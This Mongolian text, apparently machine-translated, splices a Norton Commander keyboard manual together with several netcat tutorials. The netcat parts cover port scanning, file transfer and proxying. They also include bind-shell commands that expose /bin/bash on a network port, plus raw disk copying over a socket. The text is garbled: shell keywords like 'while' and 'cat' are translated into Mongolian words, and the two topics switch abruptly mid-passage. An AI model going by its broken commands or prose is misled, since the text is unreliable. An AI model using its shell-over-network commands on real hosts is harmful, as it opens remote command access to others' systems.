Үндсэн NC командуудыг F1 - F10 функцийн товчлууруудаар дууддаг. Эдгээр командуудын жагсаалт нь дэлгэцийн доод мэдээллийн мөрөнд байрладаг.

A) Санамж, тусламж, Тусламж, F1 (Зураг 2, 3).

Энэ товчлуурыг дарахад дэлгэцэн дээр дараах зүйл гарч ирнэ: Norton Commander системийн товч тайлбар, товчлуурууд болон командуудын зорилгыг тодорхойлсон заавар.

б) хэрэглэгчийн цэс, Цэс, F2 (Зураг 4)

Энэ командыг ашиглан хэрэглэгчийн үүсгэсэн нэмэлт цэс дэлгэцэн дээр гарч ирнэ.

V) файлын агуулгыг үзэх, Харах, F3 (Зураг 5).

Курсорыг агуулгыг нь үзэхийг хүссэн файлын нэр дээр байрлуулж F3 товчийг дарна уу. Файлын агуулга нь дэлгэцийн дэлгэц дээр гарч ирэх бөгөөд үүнийг харж, уншиж болох боловч засварлах боломжгүй.

G) Текст засварлах, Засварлах, F4 (Зураг 6)

Суурилуулсан Norton Commander засварлагч руу файл ачаалахын тулд курсороор файл руу зааж F4 товчийг дарах хэрэгтэй. Засварлах зорилгоор курсорын товчлууруудыг ашиглан курсорыг хөдөлгөж болно. Norton Commander-д суурилагдсан засварлагч нь 30 КБ-аас хэтрэхгүй хэмжээтэй файлтай ажиллах боломжтой. Том файлуудын хувьд, хэрэв Norton Commander дээр тохируулагдсан бол гадаад засварлагчийг ашигладаг. Файлыг гадаад засварлагч руу ачаалахын тулд дуудагдсан командыг ашиглана уу ALT дарж+ F4.

г) Файл, лавлах хуулах, Хуулах, F5 (Зураг 7, 8, 9)

Файлыг хуулахын тулд та хаана байгаа (эх сурвалж), хаана хуулах (хуулагдах газар) лавлахыг тодорхойлох хэрэгтэй. Идэвхгүй самбарт та очих газрын лавлах, идэвхтэй самбарт эх лавлахыг нээх хэрэгтэй. Сүүлд та хуулах файл руу курсорыг чиглүүлж, F5 товчийг дарах хэрэгтэй. Гарч ирэх харилцах цонхонд F5 товчийг дарсны дараа та хуулбарыг баталгаажуулах хэрэгтэй. Шаардлагатай бол эндээс та очих газрын нэрийг засах эсвэл хуулбар файлд өөр нэр өгөх боломжтой.

Бүлэг файлуудыг хуулахдаа эхлээд курсорыг нэр рүү нь зөөж тэмдэглэх хэрэгтэй хүссэн файлболон Insert товчийг дарна уу. Тэмдэглэгдсэн файлын нэр өнгө, дэвсгэрийг өөрчилнө. Курсор байгаа файлын сонголтыг арилгахын тулд Insert товчийг дахин дарна уу. Хуулах нь F5 товчийг дарснаар хийгддэг. Гарч ирэх харилцах цонхонд та нэг файл болон бүлэг (бүх) файлыг хоёуланг нь хуулбарлахыг баталгаажуулах хэрэгтэй.

Хэрэв та директор доторх бүх файлыг хуулах шаардлагатай бол тэдгээрийг сонгохын тулд жижиг тоон товчлуур дээрх * товчийг дарна уу. Сонголтыг цуцлахын тулд энэ товчлуурыг дахин дарна уу.

Хэрэв та тодорхой бүлгийн бүх файлыг хуулах шаардлагатай бол тэдгээрийг сонгохын тулд жижиг тоон товчлуурын нэг тэмдэг + товчлуурыг дарж, гарч ирэх харилцах цонхонд бүлгийн шинж чанарыг сонгоод Enter дарна уу. Харин эсрэгээр, сонголтыг цуцлахын тулд ганц хасах тэмдэг (-) товчийг дараад Enter дарна уу.


Урвуугаар сонгохын тулд жижиг тоон товчлуур дээрх * товчийг дарна уу.

Хуулбарлах үед заасан бүлгийн шинж чанарууд нь нэлээд олон байдаг. Зарим жишээг 1-р хүснэгтэд үзүүлэв

Сайн байна уу Эрхэм уншигч X!

Энэ зургийг "Та хакер мөн үү?" Гэсэн мини тест гэж нэрлэж болно гэж би бодож байна. Үүнийг хэлэхийг хичээ
энэ хөгжилтэй зулзага гэсэн үг. Хэрэв бэрхшээл тулгарсан хэвээр байгаа бол таны өмнө бүх дэвшилтэт хүмүүсийн хамгийн дуртай зүйл байгаа гэдгийг мэдэж аваарай.
Сүлжээтэй холбоотой бөгөөд нэр нь Netcat юм.

Netcat нь сүлжээгээр өгөгдөл унших, дамжуулах боломжийг олгодог хэрэгсэл юм
холболтууд. Өөрөөр хэлбэл, Netcat танд юутай ч холбогдож, юу ч хийх боломжийг олгодог. Netcat нь бүрэн бие даасан, хэрэв зөв ашиглавал ямар ч зүйлийг орлож чадна програм хангамжийн хэрэгсэл, тэр ч байтугай таны мэддэг хүмүүс ч гэсэн
Апачи. Тиймээс, Netcat нь хамгийн энгийн хувилбараар дурын порт руу TCP болон UDP холболт үүсгэх, ирж буй холболтыг "сонсох" боломжийг олгодог (мөн та "зулзага" -ыг зөвхөн хаяг, тэр ч байтугай портуудаасаа холболт хүлээхийг захиалж болно. зааж өгөх!), портуудыг сканнердах, DNS асуулга явуулахыг зөвшөөрөх, стандарт оролтоос дурын команд илгээх, "зулзага" сонсож байгаа холболтын хариуд урьдчилан тодорхойлсон үйлдлүүдийг хийх, илгээсэн болон хүлээн авсан өгөгдлийн Hex хаягдал хийх гэх мэт олон зүйлийг хийх боломжтой. ...

Хэдийгээр Netcat бүх зүйлийг хийж чадна гэдгийг анхнаасаа хэлэх шаардлагатай байсан гэж би бодож байна; мөн түүнийг ашиглах боломж нь зөвхөн таны мэдлэг, төсөөллийн түвшингээр хязгаарлагддаг. Эхэндээ Netcat нь Unix хэрэгсэл гэж бүтээгдсэн боловч таны ойлгож байгаагаар "зулзага" -ыг Windows-д оруулахгүй байх сонирхогчид байж болохгүй. Та "Netcat" хайлтыг ашиглан хайлтын системээс хоёр хувилбарыг хялбархан олох боломжтой. Гэхдээ ашиг тус нь мэдээж Unix-oids-д хамаарах бөгөөд үүнийг эмхэтгэсэн үед "зулзага" -ыг бага зэрэг засч, улмаар анхдагчаар идэвхгүй болсон "нэмэлт функцууд" функцийг идэвхжүүлдэг.

Хэрэв та хэзээ нэгэн цагт "програм хангамжид суурилсан халдлага" ашиглаж байсан эсвэл зүгээр л мөлжлөгт оруулдаг бол тэдгээрийн талаас илүү хувь нь Netcat-ийг ямар нэг байдлаар ашигладаг болохыг анзаарсан байх. Энэ нь юуны түрүүнд Netcat нь ирж буй өгөгдлийг хэзээ ч өөрчилдөггүй (түүнчлэн гарч байгаа гэх мэт) Telnet үйлчлүүлэгчээс ялгаатай нь ирж буй өгөгдлийг эхлээд тайлбарлаж, дараа нь танд өгдөгтэй холбоотой юм. Энэ нь Netcat болсон шалтгаан юм хүчирхэг хэрэгсэлэмзэг байдлыг хайж, ашиглаж, үүний ачаар Bugtraq олон зуун шинэ нийтлэлээр дүүргэгдсэн.

Гэхдээ хэрэв эмзэг байдлыг хайх нь таны хийх зүйл биш бол та Netcat-ийг вэб хөтөч болгон ашиглаж үзээрэй, эсвэл: шуудангийн үйлчлүүлэгч; ялангуяа оноос хойш Internet Explorerболон Outlook "шинэхэн" цоорхойнууд олсон, хуучин юникод, хэхэ... Тэгээд ч манай орос залуус энэ тал дээр ялгарч байсан (! Үндэсний бахархал үүрэг гүйцэтгэдэг!). Хэрэв та Explorer програмыг ашиглан энэ нийтлэлийг уншиж байгаа бол очоод өөрийгөө ямар "Илжиг" болохыг хараарай.
нүх

Үүний дараа та Netcat руу шилжих болно - энэ нь тийм ч тохиромжтой биш, гэхдээ
аюулгүй ... Тэгээд эцэст нь, Netcat-ийн "дэвшилтэт" хэрэглээний жишээ
(Unix):

  1. Netcat дуртай;
  2. Netcat "" хэрэгсэл болгон; Эдгээрийг ихэвчлэн X-д дүрсэлсэн байдаг боловч бодит байдал дээр тэд зүгээр л сайн мэддэг хайлтын системд хүсэлт илгээдэг ... Таны "зулзага" ч гэсэн энэ хэрэгтэй ажлыг хийж чадна!;
  3. Netcat дуртай! Үйлчилгээ үзүүлэгчийг амраа!!!

Бүх зүйл бүрхүүлийн скрипт хэлбэрээр хийгдсэн тул шаардлагатай бол ямар ч зүйлийг засах боломжтой гэдгийг анхаарна уу.
Үүний тулд би баяртай гэж хэлмээр байна. Гарын авлагыг уншаад, Netcat програмыг сурахад амжилт хүсье!

P.S./Personal/: http://georgy.h1.ru/ сайтыг би хаасан. Нэг удаа, үүрд. Миний зочин байсан бүх хүмүүст баярлалаа.

Энэ нийтлэлд би алдартай сүлжээний хэрэгсэл netcat болон түүнтэй ажиллахад хэрэгтэй заль мэхийг авч үзэх болно.


Netcat бол TCP болон UDP холболтыг үүсгэж, тэндээс өгөгдөл хүлээн авч, дамжуулах боломжийг олгодог Unix хэрэгсэл юм. Ашигтай, энгийн хэдий ч олон хүн үүнийг хэрхэн ашиглахаа мэддэггүй бөгөөд үүнийг үл тоомсорлодог.


Энэ хэрэгслийг ашиглан нэвтрэлтийн туршилт хийхдээ зарим алхмуудыг хийж болно. Энэ нь халдлагад өртсөн машинд багц суулгаагүй (эсвэл хүмүүсийн анхаарлыг татсан), хязгаарлалт байгаа (жишээ нь, IoT/Embedded төхөөрөмж) гэх мэт тохиолдолд хэрэг болно.


Netcat-тай юу хийж болох вэ:

  • портуудыг скан хийх;
  • Дамжуулах портууд;
  • Үйлчилгээний баннер цуглуулах;
  • Портыг сонсох (урвуу холболтыг холбох);
  • Файлуудыг татаж авах, байршуулах;
  • Түүхий HTTP контентыг гаргах;
  • Мини чат үүсгэх.

Ерөнхийдөө netcat-ийн тусламжтайгаар та Unix хэрэгслүүдийн заримыг сольж болох тул энэ хэрэгслийг тодорхой ажлуудыг гүйцэтгэх нэг төрлийн комбайн гэж үзэж болно.

Практик жишээнүүд

Ихэнх тохиолдолд, хэрэв тодорхой хостыг шалгах шаардлагатай бол тэд хост эсвэл баннерыг тодорхойлохын тулд telnet эсвэл өөрсдийн үйлчилгээний үйлчилгээг ашигладаг. Netcat бидэнд хэрхэн туслах вэ:

12345 нээлттэй TCP порт байгаа эсэхийг шалгаж байна

$ nc -vn 192.168.1.100 12345
nc: 192.168.1.100 12345 (tcp) руу холбогдож чадсангүй: Холболтоос татгалзсан

$ nc -v 192.168.1.100 22
192.168.1.100 22 порттой холболт амжилттай боллоо!
SSH-2.0-OpenSSH

Netcat ашиглан TCP портуудыг сканнердаж байна:

$ nc -vnz 192.168.1.100 20-24

Ийм скан хийснээр порттой холболт байхгүй, зөвхөн амжилттай холболтын гаралт л болно.


nc: connectx to 192.168.1.100 порт 20 (tcp) амжилтгүй болсон: Холболтоос татгалзсан
nc: connectx to 192.168.1.100 порт 21 (tcp) амжилтгүй болсон: Холболтоос татгалзсан
0 холбоо олсон
1 холболт олсон:
1: туг = 82
outif en0
src 192.168.1.100 порт 50168
dst 192.168.1.100 порт 22
зэрэглэлийн мэдээлэл байхгүй байна
TCP туслах мэдээлэл боломжтой
192.168.1.100 порт 22-т холболт амжилттай боллоо!
nc: connectx to 192.168.1.100 порт 23 (tcp) амжилтгүй болсон: Холболтоос татгалзсан
nc: connectx to 192.168.1.100 порт 24 (tcp) амжилтгүй болсон: Холболтоос татгалзсан

UDP портуудыг сканнердаж байна.

UDP портуудыг nmap ашиглан скан хийхийн тулд танд root эрх хэрэгтэй. Хэрэв тэд байхгүй бол энэ тохиолдолд netcat хэрэгсэл бидэнд туслах болно:


$ nc -vnzu 192.168.1.100 5550-5560
192.168.1.100 порт 5555-д холболт амжилттай боллоо!

UDP пакет илгээж байна

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Энэ нь сүлжээний төхөөрөмжтэй харилцах үед хэрэг болно.

UDP порт дээр өгөгдөл хүлээн авах, хүлээн авсан өгөгдлийг гаргах

$ nc -u localhost 7777

Эхний мессежийн дараа гаралт зогсох болно. Хэрэв та олон мессеж хүлээн авах шаардлагатай бол үнэн байх үед дараахийг ашиглах ёстой:


$ үнэн байхад; do nc -u localhost 7777; хийсэн

Файл дамжуулах. Netcat ашиглан та файлуудыг хүлээн авч, алсын хост руу шилжүүлэх боломжтой.


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact нь энгийн вэб сервер юм.

Netcat нь HTML хуудсыг харуулах энгийн вэб серверийн үүрэг гүйцэтгэдэг.


$ үнэн байхад; do nc -lp 8888< index.html; done

Хөтөч ашиглан: http://netcat host:8888/index.html. Стандарт вэб серверийн портын дугаар 80-ыг ашиглахын тулд та root эрхтэй nc-г ажиллуулах шаардлагатай болно.


$ үнэн байхад; sudo nc -lp 80 хийнэ үү< test.html; done

Зангилаа хоорондын чат

Эхний зангилаа (192.168.1.100) дээр:


$nc -lp 9000

Хоёр дахь зангилаа дээр:


$nc 192.168.1.100 9000

Командуудыг гүйцэтгэсний дараа аль ч зангилааны терминалын цонхонд орсон бүх тэмдэгтүүд нөгөө зангилааны терминалын цонхонд гарч ирнэ.

Урвуу бүрхүүл

Netcat ашиглан та тохиромжтой урвуу бүрхүүлийг зохион байгуулж болно:


nc -e /bin/bash -lp 4444

Одоо та алсын хостоос холбогдож болно:


$nc 192.168.1.100 4444

Хэрэв танд тодорхой хэрэгсэл байхгүй бол та бууж өгөх ёсгүй, заримдаа энэ асуудлыг хиймэл аргаар шийдэж болно.

Ажиллах зааварНортонКомандлагч

NC системийг эхлүүлэхийн тулд тушаалын мөр DOS нь NC командыг бичнэ үү эсвэл компьютерийн ширээний компьютер дээрх NC дүрс дээр хулганы зүүн товчийг дарна уу. NC-тэй ажиллаж дуусгахын тулд товчлуурыг дарна уу [ Ф10] . Гарч ирэх харилцах цонхонд хэрэв та системээс гарсан бол "Тийм" гэж, үгүй ​​бол "Үгүй" гэсэн хариултыг сонгоно уу. Хариултын сонголтыг сонгохдоо функциональ гар дээрх курсор товчлууруудыг ашиглан, дараа нь товчлуурыг дарна [ Оруулна уу] . Дэлгэцийн доод хэсэгт DOS командын мөр байдаг бөгөөд та NC удирдлагын дор ажиллаж байхдаа тохирох командуудыг оруулах боломжтой. Дэлгэцийн хамгийн доод мөрөнд NC (болон DOS) командуудад тохирох үндсэн "халуун" товчлууруудын зорилгыг харуулсан зөвлөмжийн мөр байдаг.

NC-ийг эхлүүлсний дараа дэлгэц дээр зүүн ба баруун гэсэн хоёр самбар гарч ирнэ. Самбар бүрийн дээд талд байгаа жижиг тэгш өнцөгт цонх нь одоогийн файл эсвэл лавлах руу очих бүрэн замыг харуулдаг. Тодруулсан тэгш өнцөгт курсор байрлах самбарыг идэвхтэй гэж нэрлэдэг. Самбараас самбар руу шилжихийн тулд товчлуурыг ашиглана уу . Хэрэв самбар дээрх дээд шугам болон дүрсийг сонгосон бол “…” Энэ нь таныг самбарын дээд талд харуулсан нэр бүхий лавлахад байна гэсэн үг юм. Самбартай ажиллахын тулд дараах тушаалуудыг ашиглана.

[ Ctrl] + [ Ф1] Зүүн талын самбарыг нуух/харуулах

[ Ctrl] + [ Ф2] Баруун талын самбарыг нуух/харуулах

[ Ctrl] + [ У] Самбарыг солих

[ Ctrl] + [ О] Хоёр самбарыг нуух/харуулах

[ Ctrl] + [ П]Идэвхгүй самбарыг нуух/харуулах

Логик дискний нэрийг өөрчлөхийн тулд зүүн талын самбар дээр дарна уу [ Alt] + [ Ф1] , гарч ирэх харилцах цонхонд курсор товчлууруудыг ашиглан санал болгож буй нэрүүдээс хүссэн дискний нэрийг сонгоод товчлуурыг дарна уу. [ Оруулна уу] . Баруун талын самбарын хувьд үйлдлүүд нь ижил төстэй боловч эхэнд нь дарах хэрэгтэй [ Alt] + [ Ф2] .

Лавлах руу очихын тулд идэвхтэй самбар дээрээс сонгоод товчлуурыг дарна уу [ Оруулна уу] . “…” Идэвхтэй самбар дээрх дээд түвшний лавлах руу очихын тулд мөрийг сонгоно уу [ Оруулна уу] .

болон товчлуурыг дар

[ ФЛавлахтай ажиллахын тулд дараах тушаалуудыг ашиглана. 7] – лавлах үүсгэх

[ Ф8] – лавлах устгах. Гарч ирэх харилцах цонхонд устгахыг баталгаажуулах эсвэл Esc товчийг дарж устгахыг цуцална уу.

Файлуудтай ажиллахын тулд дараах тушаалуудыг ашигладаг.

[ Шилжилт] + [ Ф4] – файл үүсгэх. Гарч ирэх харилцах цонхонд шинэ файлын нэрийг оруулна уу (өргөтгөлийг зааж өгөхөө бүү мартаарай). Файлын нэрийг тохируулсны дараа дэлгэцийн ажлын талбарт файлын агуулгыг бичнэ үү. Командын тусламжтайгаар файл үүсгэж дуусгана уу [ Ctrl] + [ З]. Файлыг хадгалахын тулд товчлуурыг дарна уу [ Ф2] . Түлхүүрээр засварлах горимоос гарна уу [ Ф10 ] .

[ Ф4] – өмнө нь үүсгэсэн баримт бичгийг засварлах. Энэ тохиолдолд харилцах цонхонд засварлах файлын нэрийг зааж өгөх ёстой. Засварлах горимд ажиллах үед дэлгэцийн доод хэсэгт засварлах горимд халуун товчлуурын хуваарилалт бүхий зөвлөмжийн шугам гарч ирнэ.

[ Шилжилт] + [ Ф2] – файлыг шинэ нэрээр хадгална.

[ Ф3] – файлын агуулгыг үзэх. Үүнийг хийхийн тулд эхлээд самбар дээрх файлыг сонгоно уу.

[ Ф5] – файл хуулах. Файл, лавлахтай холбоотой бүх үйлдлүүдийг хоёр самбар ашиглан гүйцэтгэдэг. Файлыг хуулахын тулд идэвхгүй самбар дээр хуулсан файлыг байршуулах санг тохируулж, энэ директор руу очно уу. Идэвхтэй самбар дээрээс хуулах файлаа сонгоод товчлуурыг дарна уу [ Ф5] . Хуулбарыг баталгаажуулахын тулд товчлуурыг дарна уу [ Оруулна уу] , цуцлах - .

[ Ф6] – файлыг шилжүүлэх/нэрийг өөрчлөх. Үйлдэл нь хуулбарлахтай төстэй. Файлыг зөөхийн тулд идэвхгүй самбар дээр тухайн файлыг байрлуулах лавлахыг тохируулаад энэ директор руу очно уу. Идэвхтэй самбараас зөөх файлаа сонгоод товчлуурыг дарна уу [ Ф6] . Файлын нэрийг өөрчлөхийн тулд харилцах цонхонд шинэ файлын нэрийг дүрсээр нэмж зааж өгнө үү ” \ ” замыг зааж өгөхдөө. Зөөгдсөн файлыг анхны байрлалаас нь устгасан гэдгийг санах нь зүйтэй.

[ Ф9] – цэс рүү орноNC.

Файлууд дээрх үйлдлүүдийг бүлэглэх

Хуулах, зөөх, устгах үйлдлүүдийг хэд хэдэн файл дээр зэрэг хийж болно. Үүнийг хийхийн тулд та тэдгээрийг самбар дээр тодруулж, товчлуур дээр дарж тэмдэглэх хэрэгтэй [ Оруулах] . Энэ тохиолдолд сонгосон файлуудыг ялгаатай өнгийн тэгш өнцөгтүүдээр тодруулна. Сонголтыг арилгахын тулд эдгээр алхмуудыг давтана уу. Файл сонгох процедурын дараа шаардлагатай үйлдлийг (хуулбарлах, зөөх, устгах) бүлэг файлууд дээр нэг юм шиг гүйцэтгэдэг. Файл сонгох хоёр дахь арга бол том саарал товчлуурыг дарах явдал юм ”+” зүүн талд байгаа функцын гар дээр. Энэ товчлуурыг дарсны дараа та харилцах цонхонд файлын нэрийг зааж өгөх эсвэл нэрэнд маск ашиглахдаа файлын нэрийг зааж өгөх хэрэгтэй. “ * ”, “ *.* ”, “ ? ”. Файлын сонголтыг цуцлахын тулд зүүн талд байрлах функциональ гар дээрх "-" товчийг ашиглана уу.

Системийн цэс NC

Цэсийн систем нь бүрхүүлийг өөрчлөх, үйл ажиллагааг хөнгөвчлөх зорилготой юм. Цэсийн мөрийг товчлуур дарснаар дууддаг [ Ф9] . Цэсийн систем нь цэсийн мөр болон унждаг цэсүүдээс бүрдэнэ. Цэс нь дараахь зүйлийг агуулна. Баруун Файлууд Командууд Тохиргоо Зүүн . Багууд Зөв Тэгээд Зүүн самбар дээрх файлын дэлгэцийн горимын сонголтыг тодорхойлно. Зүүн ба баруун самбарын бүх командын сонголтууд ижил байна. Баг Файлууд файлууд болон лавлахууд дээр үйлдлүүдийг гүйцэтгэх зориулалттай. Цэсийн зүйл Багууд нэмэлт командуудыг гүйцэтгэх зориулалттай. Баг Тохиргоо Сүлжээний сүлжээний орчинг тохируулах зориулалттай. Тохиромжтой командыг сонгохдоо курсор товчлууруудыг ашиглан хийж, дараа нь дарна [ Оруулна уу].

Цэсийн зүйл Зүүн (баруун).

Энэ командын унждаг цэс нь файлыг дэлгэцэн дээр харуулах форматыг сонгох сонголтыг агуулдаг. горимд байна Товчхон Самбар нь зөвхөн файл болон директорийн нэрийг харуулдаг. горимд байна Бүрэн Файл эсвэл лавлахын нэр, файлын хувьд түүний хэмжээг, директорийн хувьд "дэд директор" мөр, файл, лавлах үүсгэсэн огноо, цагийг харуулна. горимд байна Мод Та одоогийн хөтөчийн лавлах модыг харуулах ба курсорыг ашиглан мод дундуур хөдөлж шаардлагатай файлыг хурдан олох боломжтой. Энэ цэсний дараагийн бүлэг сонголтууд нь самбар дээр файлуудыг харуулах дарааллыг тодорхойлдог. Энэ тохиолдолд файлуудыг ямар ч дарааллаар байрлуулж болно - горим Эрэмбэлэхгүй , гэхдээ тодорхой дарааллаар зохион байгуулж болно: Нэр - цагаан толгойн үсгийн дарааллаар нэрээр, Өргөтгөл - цагаан толгойн үсгийн дарааллаар өргөтгөлөөр, Цаг хугацаа – үүсгэсэн огноогоор, жагсаалтын эхэнд хамгийн сүүлийн үеийн үүсгэсэн огноотой файлуудын хамт, Хэмжээ – буурах дарааллаар файлын хэмжээгээр.

Цэсийн зүйл Файлууд .

Харгалзах горимын мөрийг курсор сонгож, "зай" товчийг ашиглан тэмдэглэгээг хийнэ. [ Ф1] - [ Ф8] Энэ командын унждаг цэс нь товчлууруудын зорилгын тайлбарыг агуулна [ Ф9] , өөрөөр хэлбэл Халуун товчлуурын үйлдлийг цэсний командуудаар хуулбарладаг. Дараагийн сонголт нь Set Attributes юм. Атрибутуудыг зөвхөн файлд тохируулсан. Шинж чанаруудыг тохируулах дараалал нь дараах байдалтай байна: самбар дээрх курсортой файлыг сонгоно уу. Үүний дараа товчлуурыг дарна уу Файлууд NC цэс рүү очоод тухайн зүйлийг сонгоно уу Суурилуулалт шинж чанарууд [ Оруулна уу] . Түлхүүрийг дарсны дараа Боломжит шинж чанаруудын жагсаалт харилцах цонхонд гарч ирнэ:Зөвхөн унших боломжтой, Архив, Нуугдсан, Систем Зөвхөн унших боломжтойөөрчлөх боломжгүй бөгөөд зөвхөн үзэх боломжтой. Аттрибут файл Нуугдсансамбар дээр жижиг тодруулсан тэгш өнцөгтөөр тэмдэглэгдсэн байна (хэрэв дэлгэцийн тохиргоонд сонголтыг тохируулаагүй бол Нуугдсан файлуудыг харуулахФайлын нэр самбар дээр огт харагдахгүй байна). Дараагийн бүлэг тушаалууд нь файлуудыг сонгох боломжийг олгодог (том саарал товчлууртай төстэй). ”+” ), сонголтыг цуцлах (түлхүүртэй адил ” - ” функцийн гар дээр), сонголтыг урвуулна (үүнтэй адил ” * ” функцийн гар дээр).

Цэсийн зүйл Багууд .

Энэ командын унадаг цэс нь хэрэглэгчийн цэсийг үүсгэх, энэ цэсийг засварлах, DOS командын мөрөнд оруулсан командуудын түүхийг үзэх, NC бүрхүүлийн бусад нэмэлт функцуудыг агуулдаг.

Цэсийн зүйл Тохиргоо.

Энэ командын унждаг цэс нь интерфейсийн орчныг хэрэглэгчдэд ээлтэй байдлаар тохируулах боломжийг танд олгоно. Сонголтыг агуулсан Тохиргоо Редакторболон бусад. "Тохиргоо" цэсийн мөрийг сонгоход дэлгэцийн өнгө сонгох, дэлгэц дээрх мөрийн тоог тохируулах гэх мэт олон тооны харилцах цонх нээгдэнэ. Харилцах цонх Самбарын тохиргоозөвшөөрдөг Нуугдсан файлуудыг харуулах, харгалзах нүдийг тэмдэглэсэн бол (эсвэл харуулахгүй). Харгалзах сонголтын нүдийг мөн курсор болон зайны товчлуур ашиглан шалгана.

Лабораторийн даалгавар

Туршилтын HTML хуудсыг нэг тушаалаар энгийн хөтөчтэй үйлчлүүлэгчид харуулах (порт 8080):
(echo -e "HTTP/1.1 200 OK\nАгуулгын төрөл: text/html\n\n Hello World";) | nc -vv -l -p 8080
Файлыг нэг тушаалаар энгийн хөтөчтэй клиент рүү шилжүүлэх (порт 8080):
(echo -e "HTTP/1.1 200\nContent-Disposition: хавсралт; filename=target-name-that-client-will-the see\nContent-Type: application/octet-stream\nХолболт: хаах\n"; cat файлын нэр- диск дээрх) | nc -vv -l -p 8080

nc хэрхэн ашиглах вэ?

(http://handynotes.ru/2010/01/unix-utility-netcat.html )

Хэд хэдэн энгийн жишээнээс эхлээд тэдгээрийг үндсэн жишээ болгон ашиглацгаая.
Та санаж байгаа бол би netcat бол Швейцарийн армийн хутга гэж хэлсэн.

Хэрэв ердийн хутга шиг хэрэглэх боломжгүй бол энэ хутга ямар байх байсан бэ? Ийм учраас ердийн telnet-ийн оронд netcat ашиглаж болно:

$nc www.google.com 80
Та үйлдлийн үр дүнг илүү дэлгэрэнгүй харуулахын тулд -v сонголтыг нэмж, одоогийн холболтын сессийн үед хэдэн байт шилжүүлсэн талаарх статистикийг авахын тулд (-vv) сонголтыг нэмж болно.
Netcat-ийг сервер болгон ашиглаж болно. Хэрэв та үүнийг доорх байдлаар ажиллуулбал 12345 порт дээр (бүх интерфейс дээр) сонсох болно.

$ nc -l -p 12345

Хэрэв та энэ хостын 12345-р порт руу холбогдвол таны бичсэн бүх зүйл алсын тал руу илгээгдэх бөгөөд энэ нь netcat-ийг чатын сервер болгон ашиглах боломжтой гэдгийг харуулж байна. Компьютерийн аль нэг дээр ажиллуулах:

# IP 10.10.10.10-тай А компьютер дээр
$ nc -l -p 12345

Мөн өөр төхөөрөмжөөс үүнтэй холбогдоно уу:

# Компьютер дээр B
$nc 10.10.10.10 12345

Одоо хоёр тал ярьж болно!
Хоёр тал хоорондоо ярилцаж болох ийм ярианы арга нь сүлжээгээр оролт гаралтын ажиллагаанд nc ашиглах боломжтой болгодог! Жишээлбэл, та эхний компьютер дээр nc-ээр дамжуулан tar дамжуулах хоолойг ажиллуулж, хоёр дахь компьютер дээр гаралтыг өөр tar процесс руу чиглүүлснээр нэг компьютерээс нөгөө рүү бүхэл бүтэн лавлах илгээх боломжтой.
Та IP 192.168.1.10-тай А компьютерийн /өгөгдлийн лавлахаас В компьютерт (ямар ч IP-тэй) файл илгээхийг хүсч байна гэж бодъё. Энэ нь энгийн:


$tar -cf - /өгөгдөл | nc -l -p 6666


# Компьютер дээр B
$nc 192.168.1.10 6666 | tar -xf -

Дамжуулалт хэр хурдан явагддаг тухай статистикийг харахын тулд өмнөх нийтлэлд тайлбарласан хоолойнуудыг Pipe Viewer-тэй хослуулахаа бүү мартаарай!
Нэг файлыг илүү хялбараар илгээж болно:

# А компьютер дээр IP 192.168.1.10
$ муур файл | nc -l -p 6666


# Компьютер дээр B
$nc 192.168.1.10 6666 > файл

Та nc ашиглан бүх дискийг хуулж, сэргээж болно:

# А компьютер дээр IP 192.168.1.10
$ муур /dev/hdb | nc -l -p 6666


# Компьютер дээр B
$ nc 192.168.1.10 6666 > /dev/hdb

Тайлбар: "-l" сонголтыг Mac компьютер дээр "-p"-тэй хамт ашиглах боломжгүй! Шийдэл нь “-l -p 6666? руу “-l 6666?. Энд байгаа шиг:

# now nc нь Mac компьютерт зориулсан 6666 порт дээр сонсдог
$nc -l 6666

Netcat-ийн нийтлэг хэрэглээ бол порт скан хийх явдал юм. Netcat бол ийм төрлийн ажилд хамгийн сайн хэрэгсэл биш боловч ажлаа гүйцэтгэдэг (мэдээж хамгийн сайн нь nmap юм):

$ nc -v -n -z -w 1 192.168.1.2 1-1000
(Үл мэдэгдэх) 445 (microsoft-ds) нээлттэй
(Үл мэдэгдэх) 139 (netbios-ssn) нээлттэй
(Үл мэдэгдэх) 111 (sunrpc) нээлттэй
(Мэдэхгүй) 80 (www) нээлттэй
(Үл мэдэгдэх) 25 (smtp) : Холболтын хугацаа дууссан
(Үл мэдэгдэх) 22 (ssh) нээлттэй

-n сонголт нь DNS хайлтаас сэргийлж, -z нь серверээс хариу хүлээхгүй, -w 1? холболтын хугацааг 1 секунд болгож тохируулна.
Netcat-ийн өөр нэг энгийн бус хэрэглээ нь прокси юм. Порт болон хостыг хоёуланг нь дамжуулах боломжтой. Энэ жишээг харна уу:

$ nc -l -p 12345 | nc www.google.com 80

Энэ тушаал нь nc-г 1234-р порт дээр ажиллуулж, бүх холболтыг google.com:80 руу дахин чиглүүлдэг. Хэрэв та одоо 12345-р портоор энэ компьютерт холбогдож хүсэлт гаргавал хариуд нь ямар ч өгөгдөл хүлээн авахгүй байх болно. Бид хоёр чиглэлтэй суваг байгуулаагүй учраас энэ нь зөв юм. Хэрэв та хоёр дахь суваг нэмбэл өөр порт дээр өөрийн өгөгдлийг хүлээн авах болно:

$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346

12345 порт руу хүсэлт илгээсний дараа 12346 порт дээр хариу мэдээллээ хүлээн авна уу.
Netcat-ийн хамгийн хүчирхэг шинж чанар нь аливаа процессыг сервер хэлбэрээр ажиллуулах явдал юм.

$ nc -l -p 12345 -e /bin/bash

-e сонголт нь оролт гаралтыг сүлжээний залгуураар дахин чиглүүлэхэд хүргэдэг. Одоо, хэрэв та 12345 порт дээр хосттой холбогдвол bash ашиглаж болно:
$nc localhost 12345
лс-лас
нийт 4288
4 drwxr-xr-x 15 pkrumins хэрэглэгчид 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 pkrumins хэрэглэгч 4096 2009-01-18 21:22 ..
8 -rw——- 1 pkrumins хэрэглэгчид 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 pkrumins хэрэглэгчид 220 2009-01-18 21:04 .bash_logout

(http://execbit.ru/2011/05/23/netcat/)
1 Файл дамжуулах (бид эхний командыг хүлээн авагч машин дээр, хоёр дахь командыг илгээгч машин дээр гүйцэтгэдэг:

$ nc -l 31334 > файлын нэр $ nc 172.16.69.143 31334< filename

$ nc -f /var/log/messages | nc -l 31334 $ nc 172.16.69.143 31334

3 Telnet-ийн оронд ашиглах (эхнийх нь telnet сервер, хоёр дахь нь үйлчлүүлэгч):

